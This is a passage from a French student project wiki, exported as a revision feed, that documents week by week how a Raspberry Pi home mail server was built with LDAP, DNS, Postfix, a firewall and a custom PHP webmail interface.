On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24449</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24449"/>
				<updated>2015-12-15T07:31:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
